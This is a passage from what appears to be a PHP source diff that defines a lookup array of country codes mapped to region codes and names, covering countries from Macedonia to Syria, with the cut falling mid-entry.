"Kumanovo", + "58" => "Labunista", + "59" => "Lipkovo", + "60" => "Lozovo", + "61" => "Lukovo", + "62" => "Makedonska Kamenica", + "63" => "Makedonski Brod", + "64" => "Mavrovi Anovi", + "65" => "Meseista", + "66" => "Miravci", + "67" => "Mogila", + "68" => "Murtino", + "69" => "Negotino", + "70" => "Negotino-Polosko", + "71" => "Novaci", + "72" => "Novo Selo", + "73" => "Oblesevo", + "74" => "Ohrid", + "75" => "Orasac", + "76" => "Orizari", + "77" => "Oslomej", + "78" => "Pehcevo", + "79" => "Petrovec", + "80" => "Plasnica", + "81" => "Podares", + "82" => "Prilep", + "83" => "Probistip", + "84" => "Radovis", + "85" => "Rankovce", + "86" => "Resen", + "87" => "Rosoman", + "88" => "Rostusa", + "89" => "Samokov", + "90" => "Saraj", + "91" => "Sipkovica", + "92" => "Sopiste", + "93" => "Sopotnica", + "94" => "Srbinovo", + "95" => "Staravina", + "96" => "Star Dojran", + "97" => "Staro Nagoricane", + "98" => "Stip", + "99" => "Struga", + "A1" => "Strumica", + "A2" => "Studenicani", + "A3" => "Suto Orizari", + "A4" => "Sveti Nikole", + "A5" => "Tearce", + "A6" => "Tetovo", + "A7" => "Topolcani", + "A8" => "Valandovo", + "A9" => "Vasilevo", + "B1" => "Veles", + "B2" => "Velesta", + "B3" => "Vevcani", + "B4" => "Vinica", + "B5" => "Vitoliste", + "B6" => "Vranestica", + "B7" => "Vrapciste", + "B8" => "Vratnica", + "B9" => "Vrutok", + "C1" => "Zajas", + "C2" => "Zelenikovo", + "C3" => "Zelino", + "C4" => "Zitose", + "C5" => "Zletovo", + "C6" => "Zrnovci"), +"ML" => array( + "01" => "Bamako", + "03" => "Kayes", + "04" => "Mopti", + "05" => "Segou", + "06" => "Sikasso", + "07" => "Koulikoro", + "08" => "Tombouctou", + "09" => "Gao", + "10" => "Kidal"), +"MM" => array( + "01" => "Rakhine State", + "02" => "Chin State", + "03" => "Irrawaddy", + "04" => "Kachin State", + "05" => "Karan State", + "06" => "Kayah State", + "07" => "Magwe", + "08" => "Mandalay", + "09" => "Pegu", + "10" => "Sagaing", + "11" => "Shan State", + "12" => "Tenasserim", + "13" => "Mon State", + "14" => "Rangoon", + "17" => "Yangon"), +"MN" => array( + "01" => "Arhangay", + "02" => "Bayanhongor", + "03" => "Bayan-Olgiy", + "05" => "Darhan", + "06" => "Dornod", + "07" => "Dornogovi", + "08" => "Dundgovi", + "09" => "Dzavhan", + "10" => "Govi-Altay", + "11" => "Hentiy", + "12" => "Hovd", + "13" => "Hovsgol", + "14" => "Omnogovi", + "15" => "Ovorhangay", + "16" => "Selenge", + "17" => "Suhbaatar", + "18" => "Tov", + "19" => "Uvs", + "20" => "Ulaanbaatar", + "21" => "Bulgan", + "22" => "Erdenet", + "23" => "Darhan-Uul", + "24" => "Govisumber", + "25" => "Orhon"), +"MO" => array( + "01" => "Ilhas", + "02" => "Macau"), +"MR" => array( + "01" => "Hodh Ech Chargui", + "02" => "Hodh El Gharbi", + "03" => "Assaba", + "04" => "Gorgol", + "05" => "Brakna", + "06" => "Trarza", + "07" => "Adrar", + "08" => "Dakhlet Nouadhibou", + "09" => "Tagant", + "10" => "Guidimaka", + "11" => "Tiris Zemmour", + "12" => "Inchiri"), +"MS" => array( + "01" => "Saint Anthony", + "02" => "Saint Georges", + "03" => "Saint Peter"), +"MU" => array( + "12" => "Black River", + "13" => "Flacq", + "14" => "Grand Port", + "15" => "Moka", + "16" => "Pamplemousses", + "17" => "Plaines Wilhems", + "18" => "Port Louis", + "19" => "Riviere du Rempart", + "20" => "Savanne", + "21" => "Agalega Islands", + "22" => "Cargados Carajos", + "23" => "Rodrigues"), +"MV" => array( + "01" => "Seenu", + "05" => "Laamu", + "30" => "Alifu", + "31" => "Baa", + "32" => "Dhaalu", + "33" => "Faafu ", + "34" => "Gaafu Alifu", + "35" => "Gaafu Dhaalu", + "36" => "Haa Alifu", + "37" => "Haa Dhaalu", + "38" => "Kaafu", + "39" => "Lhaviyani", + "40" => "Maale", + "41" => "Meemu", + "42" => "Gnaviyani", + "43" => "Noonu", + "44" => "Raa", + "45" => "Shaviyani", + "46" => "Thaa", + "47" => "Vaavu"), +"MW" => array( + "02" => "Chikwawa", + "03" => "Chiradzulu", + "04" => "Chitipa", + "05" => "Thyolo", + "06" => "Dedza", + "07" => "Dowa", + "08" => "Karonga", + "09" => "Kasungu", + "11" => "Lilongwe", + "12" => "Mangochi", + "13" => "Mchinji", + "15" => "Mzimba", + "16" => "Ntcheu", + "17" => "Nkhata Bay", + "18" => "Nkhotakota", + "19" => "Nsanje", + "20" => "Ntchisi", + "21" => "Rumphi", + "22" => "Salima", + "23" => "Zomba", + "24" => "Blantyre", + "25" => "Mwanza", + "26" => "Balaka", + "27" => "Likoma", + "28" => "Machinga", + "29" => "Mulanje", + "30" => "Phalombe"), +"MX" => array( + "01" => "Aguascalientes", + "02" => "Baja California", + "03" => "Baja California Sur", + "04" => "Campeche", + "05" => "Chiapas", + "06" => "Chihuahua", + "07" => "Coahuila de Zaragoza", + "08" => "Colima", + "09" => "Distrito Federal", + "10" => "Durango", + "11" => "Guanajuato", + "12" => "Guerrero", + "13" => "Hidalgo", + "14" => "Jalisco", + "15" => "Mexico", + "16" => "Michoacan de Ocampo", + "17" => "Morelos", + "18" => "Nayarit", + "19" => "Nuevo Leon", + "20" => "Oaxaca", + "21" => "Puebla", + "22" => "Queretaro de Arteaga", + "23" => "Quintana Roo", + "24" => "San Luis Potosi", + "25" => "Sinaloa", + "26" => "Sonora", + "27" => "Tabasco", + "28" => "Tamaulipas", + "29" => "Tlaxcala", + "30" => "Veracruz-Llave", + "31" => "Yucatan", + "32" => "Zacatecas"), +"MY" => array( + "01" => "Johor", + "02" => "Kedah", + "03" => "Kelantan", + "04" => "Melaka", + "05" => "Negeri Sembilan", + "06" => "Pahang", + "07" => "Perak", + "08" => "Perlis", + "09" => "Pulau Pinang", + "11" => "Sarawak", + "12" => "Selangor", + "13" => "Terengganu", + "14" => "Kuala Lumpur", + "15" => "Labuan", + "16" => "Sabah", + "17" => "Putrajaya"), +"MZ" => array( + "01" => "Cabo Delgado", + "02" => "Gaza", + "03" => "Inhambane", + "04" => "Maputo", + "05" => "Sofala", + "06" => "Nampula", + "07" => "Niassa", + "08" => "Tete", + "09" => "Zambezia", + "10" => "Manica", + "11" => "Maputo"), +"NA" => array( + "01" => "Bethanien", + "02" => "Caprivi Oos", + "03" => "Boesmanland", + "04" => "Gobabis", + "05" => "Grootfontein", + "06" => "Kaokoland", + "07" => "Karibib", + "08" => "Keetmanshoop", + "09" => "Luderitz", + "10" => "Maltahohe", + "11" => "Okahandja", + "12" => "Omaruru", + "13" => "Otjiwarongo", + "14" => "Outjo", + "15" => "Owambo", + "16" => "Rehoboth", + "17" => "Swakopmund", + "18" => "Tsumeb", + "20" => "Karasburg", + "21" => "Windhoek", + "22" => "Damaraland", + "23" => "Hereroland Oos", + "24" => "Hereroland Wes", + "25" => "Kavango", + "26" => "Mariental", + "27" => "Namaland", + "28" => "Caprivi", + "29" => "Erongo", + "30" => "Hardap", + "31" => "Karas", + "32" => "Kunene", + "33" => "Ohangwena", + "34" => "Okavango", + "35" => "Omaheke", + "36" => "Omusati", + "37" => "Oshana", + "38" => "Oshikoto", + "39" => "Otjozondjupa"), +"NE" => array( + "01" => "Agadez", + "02" => "Diffa", + "03" => "Dosso", + "04" => "Maradi", + "05" => "Niamey", + "06" => "Tahoua", + "07" => "Zinder", + "08" => "Niamey"), +"NG" => array( + "05" => "Lagos", + "11" => "Federal Capital Territory", + "16" => "Ogun", + "21" => "Akwa Ibom", + "22" => "Cross River", + "23" => "Kaduna", + "24" => "Katsina", + "25" => "Anambra", + "26" => "Benue", + "27" => "Borno", + "28" => "Imo", + "29" => "Kano", + "30" => "Kwara", + "31" => "Niger", + "32" => "Oyo", + "35" => "Adamawa", + "36" => "Delta", + "37" => "Edo", + "39" => "Jigawa", + "40" => "Kebbi", + "41" => "Kogi", + "42" => "Osun", + "43" => "Taraba", + "44" => "Yobe", + "45" => "Abia", + "46" => "Bauchi", + "47" => "Enugu", + "48" => "Ondo", + "49" => "Plateau", + "50" => "Rivers", + "51" => "Sokoto", + "52" => "Bayelsa", + "53" => "Ebonyi", + "54" => "Ekiti", + "55" => "Gombe", + "56" => "Nassarawa", + "57" => "Zamfara"), +"NI" => array( + "01" => "Boaco", + "02" => "Carazo", + "03" => "Chinandega", + "04" => "Chontales", + "05" => "Esteli", + "06" => "Granada", + "07" => "Jinotega", + "08" => "Leon", + "09" => "Madriz", + "10" => "Managua", + "11" => "Masaya", + "12" => "Matagalpa", + "13" => "Nueva Segovia", + "14" => "Rio San Juan", + "15" => "Rivas", + "16" => "Zelaya", + "17" => "Autonoma Atlantico Norte", + "18" => "Region Autonoma Atlantico Sur"), +"NL" => array( + "01" => "Drenthe", + "02" => "Friesland", + "03" => "Gelderland", + "04" => "Groningen", + "05" => "Limburg", + "06" => "Noord-Brabant", + "07" => "Noord-Holland", + "09" => "Utrecht", + "10" => "Zeeland", + "11" => "Zuid-Holland", + "15" => "Overijssel", + "16" => "Flevoland"), +"NO" => array( + "01" => "Akershus", + "02" => "Aust-Agder", + "04" => "Buskerud", + "05" => "Finnmark", + "06" => "Hedmark", + "07" => "Hordaland", + "08" => "More og Romsdal", + "09" => "Nordland", + "10" => "Nord-Trondelag", + "11" => "Oppland", + "12" => "Oslo", + "13" => "Ostfold", + "14" => "Rogaland", + "15" => "Sogn og Fjordane", + "16" => "Sor-Trondelag", + "17" => "Telemark", + "18" => "Troms", + "19" => "Vest-Agder", + "20" => "Vestfold"), +"NP" => array( + "01" => "Bagmati", + "02" => "Bheri", + "03" => "Dhawalagiri", + "04" => "Gandaki", + "05" => "Janakpur", + "06" => "Karnali", + "07" => "Kosi", + "08" => "Lumbini", + "09" => "Mahakali", + "10" => "Mechi", + "11" => "Narayani", + "12" => "Rapti", + "13" => "Sagarmatha", + "14" => "Seti"), +"NR" => array( + "01" => "Aiwo", + "02" => "Anabar", + "03" => "Anetan", + "04" => "Anibare", + "05" => "Baiti", + "06" => "Boe", + "07" => "Buada", + "08" => "Denigomodu", + "09" => "Ewa", + "10" => "Ijuw", + "11" => "Meneng", + "12" => "Nibok", + "13" => "Uaboe", + "14" => "Yaren"), +"NZ" => array( + "10" => "Chatham Islands", + "E7" => "Auckland", + "E8" => "Bay of Plenty", + "E9" => "Canterbury", + "F1" => "Gisborne", + "F2" => "Hawke's Bay", + "F3" => "Manawatu-Wanganui", + "F4" => "Marlborough", + "F5" => "Nelson", + "F6" => "Northland", + "F7" => "Otago", + "F8" => "Southland", + "F9" => "Taranaki", + "G1" => "Waikato", + "G2" => "Wellington", + "G3" => "West Coast"), +"OM" => array( + "01" => "Ad Dakhiliyah", + "02" => "Al Batinah", + "03" => "Al Wusta", + "04" => "Ash Sharqiyah", + "05" => "Az Zahirah", + "06" => "Masqat", + "07" => "Musandam", + "08" => "Zufar"), +"PA" => array( + "01" => "Bocas del Toro", + "02" => "Chiriqui", + "03" => "Cocle", + "04" => "Colon", + "05" => "Darien", + "06" => "Herrera", + "07" => "Los Santos", + "08" => "Panama", + "09" => "San Blas", + "10" => "Veraguas"), +"PE" => array( + "01" => "Amazonas", + "02" => "Ancash", + "03" => "Apurimac", + "04" => "Arequipa", + "05" => "Ayacucho", + "06" => "Cajamarca", + "07" => "Callao", + "08" => "Cusco", + "09" => "Huancavelica", + "10" => "Huanuco", + "11" => "Ica", + "12" => "Junin", + "13" => "La Libertad", + "14" => "Lambayeque", + "15" => "Lima", + "16" => "Loreto", + "17" => "Madre de Dios", + "18" => "Moquegua", + "19" => "Pasco", + "20" => "Piura", + "21" => "Puno", + "22" => "San Martin", + "23" => "Tacna", + "24" => "Tumbes", + "25" => "Ucayali"), +"PG" => array( + "01" => "Central", + "02" => "Gulf", + "03" => "Milne Bay", + "04" => "Northern", + "05" => "Southern Highlands", + "06" => "Western", + "07" => "North Solomons", + "08" => "Chimbu", + "09" => "Eastern Highlands", + "10" => "East New Britain", + "11" => "East Sepik", + "12" => "Madang", + "13" => "Manus", + "14" => "Morobe", + "15" => "New Ireland", + "16" => "Western Highlands", + "17" => "West New Britain", + "18" => "Sandaun", + "19" => "Enga", + "20" => "National Capital"), +"PH" => array( + "01" => "Abra", + "02" => "Agusan del Norte", + "03" => "Agusan del Sur", + "04" => "Aklan", + "05" => "Albay", + "06" => "Antique", + "07" => "Bataan", + "08" => "Batanes", + "09" => "Batangas", + "10" => "Benguet", + "11" => "Bohol", + "12" => "Bukidnon", + "13" => "Bulacan", + "14" => "Cagayan", + "15" => "Camarines Norte", + "16" => "Camarines Sur", + "17" => "Camiguin", + "18" => "Capiz", + "19" => "Catanduanes", + "20" => "Cavite", + "21" => "Cebu", + "22" => "Basilan", + "23" => "Eastern Samar", + "24" => "Davao", + "25" => "Davao del Sur", + "26" => "Davao Oriental", + "27" => "Ifugao", + "28" => "Ilocos Norte", + "29" => "Ilocos Sur", + "30" => "Iloilo", + "31" => "Isabela", + "32" => "Kalinga-Apayao", + "33" => "Laguna", + "34" => "Lanao del Norte", + "35" => "Lanao del Sur", + "36" => "La Union", + "37" => "Leyte", + "38" => "Marinduque", + "39" => "Masbate", + "40" => "Mindoro Occidental", + "41" => "Mindoro Oriental", + "42" => "Misamis Occidental", + "43" => "Misamis Oriental", + "44" => "Mountain", + "45" => "Negros Occidental", + "46" => "Negros Oriental", + "47" => "Nueva Ecija", + "48" => "Nueva Vizcaya", + "49" => "Palawan", + "50" => "Pampanga", + "51" => "Pangasinan", + "53" => "Rizal", + "54" => "Romblon", + "55" => "Samar", + "56" => "Maguindanao", + "57" => "North Cotabato", + "58" => "Sorsogon", + "59" => "Southern Leyte", + "60" => "Sulu", + "61" => "Surigao del Norte", + "62" => "Surigao del Sur", + "63" => "Tarlac", + "64" => "Zambales", + "65" => "Zamboanga del Norte", + "66" => "Zamboanga del Sur", + "67" => "Northern Samar", + "68" => "Quirino", + "69" => "Siquijor", + "70" => "South Cotabato", + "71" => "Sultan Kudarat", + "72" => "Tawitawi", + "A1" => "Angeles", + "A2" => "Bacolod", + "A3" => "Bago", + "A4" => "Baguio", + "A5" => "Bais", + "A6" => "Basilan City", + "A7" => "Batangas City", + "A8" => "Butuan", + "A9" => "Cabanatuan", + "B1" => "Cadiz", + "B2" => "Cagayan de Oro", + "B3" => "Calbayog", + "B4" => "Caloocan", + "B5" => "Canlaon", + "B6" => "Cavite City", + "B7" => "Cebu City", + "B8" => "Cotabato", + "B9" => "Dagupan", + "C1" => "Danao", + "C2" => "Dapitan", + "C3" => "Davao City", + "C4" => "Dipolog", + "C5" => "Dumaguete", + "C6" => "General Santos", + "C7" => "Gingoog", + "C8" => "Iligan", + "C9" => "Iloilo City", + "D1" => "Iriga", + "D2" => "La Carlota", + "D3" => "Laoag", + "D4" => "Lapu-Lapu", + "D5" => "Legaspi", + "D6" => "Lipa", + "D7" => "Lucena", + "D8" => "Mandaue", + "D9" => "Manila", + "E1" => "Marawi", + "E2" => "Naga", + "E3" => "Olongapo", + "E4" => "Ormoc", + "E5" => "Oroquieta", + "E6" => "Ozamis", + "E7" => "Pagadian", + "E8" => "Palayan", + "E9" => "Pasay", + "F1" => "Puerto Princesa", + "F2" => "Quezon City", + "F3" => "Roxas", + "F4" => "San Carlos", + "F5" => "San Carlos", + "F6" => "San Jose", + "F7" => "San Pablo", + "F8" => "Silay", + "F9" => "Surigao", + "G1" => "Tacloban", + "G2" => "Tagaytay", + "G3" => "Tagbilaran", + "G4" => "Tangub", + "G5" => "Toledo", + "G6" => "Trece Martires", + "G7" => "Zamboanga", + "G8" => "Aurora", + "H2" => "Quezon", + "H3" => "Negros Occidental"), +"PK" => array( + "01" => "Federally Administered Tribal Areas", + "02" => "Balochistan", + "03" => "North-West Frontier", + "04" => "Punjab", + "05" => "Sindh", + "06" => "Azad Kashmir", + "07" => "Northern Areas", + "08" => "Islamabad"), +"PL" => array( + "72" => "Dolnoslaskie", + "73" => "Kujawsko-Pomorskie", + "74" => "Lodzkie", + "75" => "Lubelskie", + "76" => "Lubuskie", + "77" => "Malopolskie", + "78" => "Mazowieckie", + "79" => "Opolskie", + "80" => "Podkarpackie", + "81" => "Podlaskie", + "82" => "Pomorskie", + "83" => "Slaskie", + "84" => "Swietokrzyskie", + "85" => "Warminsko-Mazurskie", + "86" => "Wielkopolskie", + "87" => "Zachodniopomorskie"), +"PS" => array( + "GZ" => "Gaza", + "WE" => "West Bank"), +"PT" => array( + "02" => "Aveiro", + "03" => "Beja", + "04" => "Braga", + "05" => "Braganca", + "06" => "Castelo Branco", + "07" => "Coimbra", + "08" => "Evora", + "09" => "Faro", + "10" => "Madeira", + "11" => "Guarda", + "13" => "Leiria", + "14" => "Lisboa", + "16" => "Portalegre", + "17" => "Porto", + "18" => "Santarem", + "19" => "Setubal", + "20" => "Viana do Castelo", + "21" => "Vila Real", + "22" => "Viseu", + "23" => "Azores"), +"PY" => array( + "01" => "Alto Parana", + "02" => "Amambay", + "03" => "Boqueron", + "04" => "Caaguazu", + "05" => "Caazapa", + "06" => "Central", + "07" => "Concepcion", + "08" => "Cordillera", + "10" => "Guaira", + "11" => "Itapua", + "12" => "Misiones", + "13" => "Neembucu", + "15" => "Paraguari", + "16" => "Presidente Hayes", + "17" => "San Pedro", + "19" => "Canindeyu", + "20" => "Chaco", + "21" => "Nueva Asuncion", + "23" => "Alto Paraguay"), +"QA" => array( + "01" => "Ad Dawhah", + "02" => "Al Ghuwariyah", + "03" => "Al Jumaliyah", + "04" => "Al Khawr", + "05" => "Al Wakrah Municipality", + "06" => "Ar Rayyan", + "08" => "Madinat ach Shamal", + "09" => "Umm Salal", + "10" => "Al Wakrah", + "11" => "Jariyan al Batnah", + "12" => "Umm Sa'id"), +"RO" => array( + "01" => "Alba", + "02" => "Arad", + "03" => "Arges", + "04" => "Bacau", + "05" => "Bihor", + "06" => "Bistrita-Nasaud", + "07" => "Botosani", + "08" => "Braila", + "09" => "Brasov", + "10" => "Bucuresti", + "11" => "Buzau", + "12" => "Caras-Severin", + "13" => "Cluj", + "14" => "Constanta", + "15" => "Covasna", + "16" => "Dambovita", + "17" => "Dolj", + "18" => "Galati", + "19" => "Gorj", + "20" => "Harghita", + "21" => "Hunedoara", + "22" => "Ialomita", + "23" => "Iasi", + "25" => "Maramures", + "26" => "Mehedinti", + "27" => "Mures", + "28" => "Neamt", + "29" => "Olt", + "30" => "Prahova", + "31" => "Salaj", + "32" => "Satu Mare", + "33" => "Sibiu", + "34" => "Suceava", + "35" => "Teleorman", + "36" => "Timis", + "37" => "Tulcea", + "38" => "Vaslui", + "39" => "Valcea", + "40" => "Vrancea", + "41" => "Calarasi", + "42" => "Giurgiu", + "43" => "Ilfov"), +"RS" => array( + "01" => "Kosovo", + "02" => "Vojvodina"), +"RU" => array( + "01" => "Adygeya, Republic of", + "02" => "Aginsky Buryatsky AO", + "03" => "Gorno-Altay", + "04" => "Altaisky krai", + "05" => "Amur", + "06" => "Arkhangel'sk", + "07" => "Astrakhan'", + "08" => "Bashkortostan", + "09" => "Belgorod", + "10" => "Bryansk", + "11" => "Buryat", + "12" => "Chechnya", + "13" => "Chelyabinsk", + "14" => "Chita", + "15" => "Chukot", + "16" => "Chuvashia", + "17" => "Dagestan", + "18" => "Evenk", + "19" => "Ingush", + "20" => "Irkutsk", + "21" => "Ivanovo", + "22" => "Kabardin-Balkar", + "23" => "Kaliningrad", + "24" => "Kalmyk", + "25" => "Kaluga", + "26" => "Kamchatka", + "27" => "Karachay-Cherkess", + "28" => "Karelia", + "29" => "Kemerovo", + "30" => "Khabarovsk", + "31" => "Khakass", + "32" => "Khanty-Mansiy", + "33" => "Kirov", + "34" => "Komi", + "35" => "Komi-Permyak", + "36" => "Koryak", + "37" => "Kostroma", + "38" => "Krasnodar", + "39" => "Krasnoyarsk", + "40" => "Kurgan", + "41" => "Kursk", + "42" => "Leningrad", + "43" => "Lipetsk", + "44" => "Magadan", + "45" => "Mariy-El", + "46" => "Mordovia", + "47" => "Moskva", + "48" => "Moscow City", + "49" => "Murmansk", + "50" => "Nenets", + "51" => "Nizhegorod", + "52" => "Novgorod", + "53" => "Novosibirsk", + "54" => "Omsk", + "55" => "Orenburg", + "56" => "Orel", + "57" => "Penza", + "58" => "Perm'", + "59" => "Primor'ye", + "60" => "Pskov", + "61" => "Rostov", + "62" => "Ryazan'", + "63" => "Sakha", + "64" => "Sakhalin", + "65" => "Samara", + "66" => "Saint Petersburg City", + "67" => "Saratov", + "68" => "North Ossetia", + "69" => "Smolensk", + "70" => "Stavropol'", + "71" => "Sverdlovsk", + "72" => "Tambovskaya oblast", + "73" => "Tatarstan", + "74" => "Taymyr", + "75" => "Tomsk", + "76" => "Tula", + "77" => "Tver'", + "78" => "Tyumen'", + "79" => "Tuva", + "80" => "Udmurt", + "81" => "Ul'yanovsk", + "82" => "Ust-Orda Buryat", + "83" => "Vladimir", + "84" => "Volgograd", + "85" => "Vologda", + "86" => "Voronezh", + "87" => "Yamal-Nenets", + "88" => "Yaroslavl'", + "89" => "Yevrey", + "90" => "Permskiy Kray", + "91" => "Krasnoyarskiy Kray", + "92" => "Kamchatskiy Kray", + "93" => "Zabaykal'skiy Kray"), +"RW" => array( + "01" => "Butare", + "06" => "Gitarama", + "07" => "Kibungo", + "09" => "Kigali", + "11" => "Est", + "12" => "Kigali", + "13" => "Nord", + "14" => "Ouest", + "15" => "Sud"), +"SA" => array( + "02" => "Al Bahah", + "05" => "Al Madinah", + "06" => "Ash Sharqiyah", + "08" => "Al Qasim", + "10" => "Ar Riyad", + "11" => "Asir Province", + "13" => "Ha'il", + "14" => "Makkah", + "15" => "Al Hudud ash Shamaliyah", + "16" => "Najran", + "17" => "Jizan", + "19" => "Tabuk", + "20" => "Al Jawf"), +"SB" => array( + "03" => "Malaita", + "06" => "Guadalcanal", + "07" => "Isabel", + "08" => "Makira", + "09" => "Temotu", + "10" => "Central", + "11" => "Western", + "12" => "Choiseul", + "13" => "Rennell and Bellona"), +"SC" => array( + "01" => "Anse aux Pins", + "02" => "Anse Boileau", + "03" => "Anse Etoile", + "04" => "Anse Louis", + "05" => "Anse Royale", + "06" => "Baie Lazare", + "07" => "Baie Sainte Anne", + "08" => "Beau Vallon", + "09" => "Bel Air", + "10" => "Bel Ombre", + "11" => "Cascade", + "12" => "Glacis", + "13" => "Grand' Anse", + "14" => "Grand' Anse", + "15" => "La Digue", + "16" => "La Riviere Anglaise", + "17" => "Mont Buxton", + "18" => "Mont Fleuri", + "19" => "Plaisance", + "20" => "Pointe La Rue", + "21" => "Port Glaud", + "22" => "Saint Louis", + "23" => "Takamaka"), +"SD" => array( + "27" => "Al Wusta", + "28" => "Al Istiwa'iyah", + "29" => "Al Khartum", + "30" => "Ash Shamaliyah", + "31" => "Ash Sharqiyah", + "32" => "Bahr al Ghazal", + "33" => "Darfur", + "34" => "Kurdufan", + "35" => "Upper Nile", + "40" => "Al Wahadah State", + "44" => "Central Equatoria State"), +"SE" => array( + "02" => "Blekinge Lan", + "03" => "Gavleborgs Lan", + "05" => "Gotlands Lan", + "06" => "Hallands Lan", + "07" => "Jamtlands Lan", + "08" => "Jonkopings Lan", + "09" => "Kalmar Lan", + "10" => "Dalarnas Lan", + "12" => "Kronobergs Lan", + "14" => "Norrbottens Lan", + "15" => "Orebro Lan", + "16" => "Ostergotlands Lan", + "18" => "Sodermanlands Lan", + "21" => "Uppsala Lan", + "22" => "Varmlands Lan", + "23" => "Vasterbottens Lan", + "24" => "Vasternorrlands Lan", + "25" => "Vastmanlands Lan", + "26" => "Stockholms Lan", + "27" => "Skane Lan", + "28" => "Vastra Gotaland"), +"SH" => array( + "01" => "Ascension", + "02" => "Saint Helena", + "03" => "Tristan da Cunha"), +"SI" => array( + "01" => "Ajdovscina", + "02" => "Beltinci", + "03" => "Bled", + "04" => "Bohinj", + "05" => "Borovnica", + "06" => "Bovec", + "07" => "Brda", + "08" => "Brezice", + "09" => "Brezovica", + "11" => "Celje", + "12" => "Cerklje na Gorenjskem", + "13" => "Cerknica", + "14" => "Cerkno", + "15" => "Crensovci", + "16" => "Crna na Koroskem", + "17" => "Crnomelj", + "19" => "Divaca", + "20" => "Dobrepolje", + "22" => "Dol pri Ljubljani", + "24" => "Dornava", + "25" => "Dravograd", + "26" => "Duplek", + "27" => "Gorenja Vas-Poljane", + "28" => "Gorisnica", + "29" => "Gornja Radgona", + "30" => "Gornji Grad", + "31" => "Gornji Petrovci", + "32" => "Grosuplje", + "34" => "Hrastnik", + "35" => "Hrpelje-Kozina", + "36" => "Idrija", + "37" => "Ig", + "38" => "Ilirska Bistrica", + "39" => "Ivancna Gorica", + "40" => "Izola-Isola", + "42" => "Jursinci", + "44" => "Kanal", + "45" => "Kidricevo", + "46" => "Kobarid", + "47" => "Kobilje", + "49" => "Komen", + "50" => "Koper-Capodistria", + "51" => "Kozje", + "52" => "Kranj", + "53" => "Kranjska Gora", + "54" => "Krsko", + "55" => "Kungota", + "57" => "Lasko", + "61" => "Ljubljana", + "62" => "Ljubno", + "64" => "Logatec", + "66" => "Loski Potok", + "68" => "Lukovica", + "71" => "Medvode", + "72" => "Menges", + "73" => "Metlika", + "74" => "Mezica", + "76" => "Mislinja", + "77" => "Moravce", + "78" => "Moravske Toplice", + "79" => "Mozirje", + "80" => "Murska Sobota", + "81" => "Muta", + "82" => "Naklo", + "83" => "Nazarje", + "84" => "Nova Gorica", + "86" => "Odranci", + "87" => "Ormoz", + "88" => "Osilnica", + "89" => "Pesnica", + "91" => "Pivka", + "92" => "Podcetrtek", + "94" => "Postojna", + "97" => "Puconci", + "98" => "Racam", + "99" => "Radece", + "A1" => "Radenci", + "A2" => "Radlje ob Dravi", + "A3" => "Radovljica", + "A6" => "Rogasovci", + "A7" => "Rogaska Slatina", + "A8" => "Rogatec", + "B1" => "Semic", + "B2" => "Sencur", + "B3" => "Sentilj", + "B4" => "Sentjernej", + "B6" => "Sevnica", + "B7" => "Sezana", + "B8" => "Skocjan", + "B9" => "Skofja Loka", + "C1" => "Skofljica", + "C2" => "Slovenj Gradec", + "C4" => "Slovenske Konjice", + "C5" => "Smarje pri Jelsah", + "C6" => "Smartno ob Paki", + "C7" => "Sostanj", + "C8" => "Starse", + "C9" => "Store", + "D1" => "Sveti Jurij", + "D2" => "Tolmin", + "D3" => "Trbovlje", + "D4" => "Trebnje", + "D5" => "Trzic", + "D6" => "Turnisce", + "D7" => "Velenje", + "D8" => "Velike Lasce", + "E1" => "Vipava", + "E2" => "Vitanje", + "E3" => "Vodice", + "E5" => "Vrhnika", + "E6" => "Vuzenica", + "E7" => "Zagorje ob Savi", + "E9" => "Zavrc", + "F1" => "Zelezniki", + "F2" => "Ziri", + "F3" => "Zrece", + "G4" => "Dobrova-Horjul-Polhov Gradec", + "G7" => "Domzale", + "H4" => "Jesenice", + "H6" => "Kamnik", + "H7" => "Kocevje", + "I2" => "Kuzma", + "I3" => "Lenart", + "I5" => "Litija", + "I6" => "Ljutomer", + "I7" => "Loska Dolina", + "I9" => "Luce", + "J1" => "Majsperk", + "J2" => "Maribor", + "J5" => "Miren-Kostanjevica", + "J7" => "Novo Mesto", + "J9" => "Piran", + "K5" => "Preddvor", + "K7" => "Ptuj", + "L1" => "Ribnica", + "L3" => "Ruse", + "L7" => "Sentjur pri Celju", + "L8" => "Slovenska Bistrica", + "N2" => "Videm", + "N3" => "Vojnik", + "N5" => "Zalec"), +"SK" => array( + "01" => "Banska Bystrica", + "02" => "Bratislava", + "03" => "Kosice", + "04" => "Nitra", + "05" => "Presov", + "06" => "Trencin", + "07" => "Trnava", + "08" => "Zilina"), +"SL" => array( + "01" => "Eastern", + "02" => "Northern", + "03" => "Southern", + "04" => "Western Area"), +"SM" => array( + "01" => "Acquaviva", + "02" => "Chiesanuova", + "03" => "Domagnano", + "04" => "Faetano", + "05" => "Fiorentino", + "06" => "Borgo Maggiore", + "07" => "San Marino", + "08" => "Monte Giardino", + "09" => "Serravalle"), +"SN" => array( + "01" => "Dakar", + "03" => "Diourbel", + "05" => "Tambacounda", + "07" => "Thies", + "09" => "Fatick", + "10" => "Kaolack", + "11" => "Kolda", + "12" => "Ziguinchor", + "13" => "Louga", + "14" => "Saint-Louis", + "15" => "Matam"), +"SO" => array( + "01" => "Bakool", + "02" => "Banaadir", + "03" => "Bari", + "04" => "Bay", + "05" => "Galguduud", + "06" => "Gedo", + "07" => "Hiiraan", + "08" => "Jubbada Dhexe", + "09" => "Jubbada Hoose", + "10" => "Mudug", + "11" => "Nugaal", + "12" => "Sanaag", + "13" => "Shabeellaha Dhexe", + "14" => "Shabeellaha Hoose", + "16" => "Woqooyi Galbeed", + "18" => "Nugaal", + "19" => "Togdheer", + "20" => "Woqooyi Galbeed", + "21" => "Awdal", + "22" => "Sool"), +"SR" => array( + "10" => "Brokopondo", + "11" => "Commewijne", + "12" => "Coronie", + "13" => "Marowijne", + "14" => "Nickerie", + "15" => "Para", + "16" => "Paramaribo", + "17" => "Saramacca", + "18" => "Sipaliwini", + "19" => "Wanica"), +"ST" => array( + "01" => "Principe", + "02" => "Sao Tome"), +"SV" => array( + "01" => "Ahuachapan", + "02" => "Cabanas", + "03" => "Chalatenango", + "04" => "Cuscatlan", + "05" => "La Libertad", + "06" => "La Paz", + "07" => "La Union", + "08" => "Morazan", + "09" => "San Miguel", + "10" => "San Salvador", + "11" => "Santa Ana", + "12" => "San Vicente", + "13" => "Sonsonate", + "14" => "Usulutan"), +"SY" => array( + "01" => "Al Hasakah", + "02" => "Al Ladhiqiyah", + "03" => "Al Qunaytirah", + "04" => "Ar Raqqah", + "05" => "As Suwayda'", + "06" => "Dar", 